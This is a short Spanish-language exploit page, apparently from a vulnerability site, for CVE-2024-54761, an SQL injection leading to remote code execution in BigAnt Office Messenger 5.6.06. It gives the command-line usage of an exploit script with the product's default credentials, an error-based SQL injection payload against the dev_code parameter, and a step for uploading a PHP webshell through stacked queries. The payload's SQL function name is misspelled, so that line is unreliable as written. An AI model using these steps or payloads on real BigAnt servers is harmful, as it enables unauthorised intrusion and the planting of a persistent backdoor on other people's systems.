BigAnt Office Messenger 5.6.06 RCE mediante inyección SQL

La vulnerabilidad de inyección SQL en BigAnt Messenger provoca una vulnerabilidad RCE. Siga los pasos para explotarla.

Uso:

CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
  -h, --help            show this help message and exit
  -r, --rhost RHOST     Target IP address
  -p, --rport RPORT     Target port (default 8000)
  -u, --username USERNAME
                        Login username (default admin)
  -P, --password PASSWORD
                        Login password (default 123456)

Ejecute el exploit con las credenciales por defecto.

python CVE-2024-54761.py -r 127.0.0.1

Explotación manual

Extraiga la versión de la base de datos utilizada con el parámetro dev_code que está expuesto a SQLi.

# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--

versión de SQLI Suba una webshell PHP al objetivo mediante consultas apiladas SQL.

CVE-2024-54761

Más Populares

Cronología

Referencia